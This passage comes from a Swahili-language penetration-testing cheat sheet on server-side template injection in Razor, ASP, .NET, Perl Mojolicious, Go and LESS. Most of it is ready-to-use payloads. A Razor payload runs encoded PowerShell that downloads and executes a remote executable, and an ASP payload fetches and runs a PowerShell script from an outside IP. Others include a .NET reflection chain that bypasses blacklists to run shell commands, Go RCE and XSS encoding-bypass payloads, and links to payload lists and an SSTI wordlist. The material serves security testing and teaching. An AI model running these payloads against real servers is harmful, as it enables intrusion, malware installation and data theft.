  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Unaweza kupata mfano wa webapp iliyo hatarini katika https://github.com/cnotin/RazorVulnerableApp

Taarifa zaidi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Hakuna
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Taarifa Zaidi

.Net Kuondokana na vikwazo

Mekanizimu za .NET Reflection zinaweza kutumika kuvuka blacklisting au wakati classes hazipo ndani ya assembly. DLL’s zinaweza kupakuliwa wakati wa runtime huku methods na properties zikipatikana kutoka kwa basic objects.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - kutoka kwenye filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - moja kwa moja kutoka kwa ombi.

Utekelezaji kamili wa amri:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Maelezo Zaidi

Mojolicious (Perl)

Hata ikiwa ni Perl, hutumia tags kama ERB katika Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Katika template engine ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa payloads maalum:

  • {{ . }}: Inaonyesha muundo wa data uliowasilishwa. Kwa mfano, ikiwa object yenye attribute Password imepelekwa, {{ .Password }} inaweza kufichua.
  • {{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Haya payloads yanapaswa kurudisha “ssti” bila kuambatanisha “html” au “js”. Maelekezo zaidi yanaweza kupatikana kwenye nyaraka za Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Kwa package ya text/template, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kwa upande mwingine, package ya html/template inaku-encode jibu ili kuzuia hili (mfano, {{"<script>alert(1)</script>"}} inatoa &lt;script&gt;alert(1)&lt;/script&gt;). Hata hivyo, ufafanuzi na kuitwa kwa template ndani ya Go vinaweza kuepuka encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation inatofautiana sana kati ya html/template na text/template. Module ya text/template inaruhusu kupiga yoyote public function moja kwa moja (ukitumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Nyaraka za modules hizi zinaweza kupatikana here for html/template na here for text/template.

Kwa RCE kupitia SSTI katika Go, method za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayotekeleza amri, inaweza kutumika kama {{ .System "ls" }}. Kufikia source code kawaida ni muhimu ili ku-exploit, kama kwenye mfano uliotolewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Taarifa Zaidi

LESS (CSS Preprocessor)

LESS ni pre-processor maarufu wa CSS ambaye huongeza variables, mixins, functions na directive yenye nguvu @import. Wakati wa compilation, engine ya LESS itafanya fetch the resources referenced in @import statements na kuingiza (“inline”) yaliyomo yao ndani ya CSS inayotokana wakati chaguo la (inline) linapotumika.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Angalia mengine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za kuvutia kuhusu tags katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Msaada Unaohusiana

Ikiwa unaona inaweza kuwa muhimu, soma:

Zana

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Mazoezi & Marejeo

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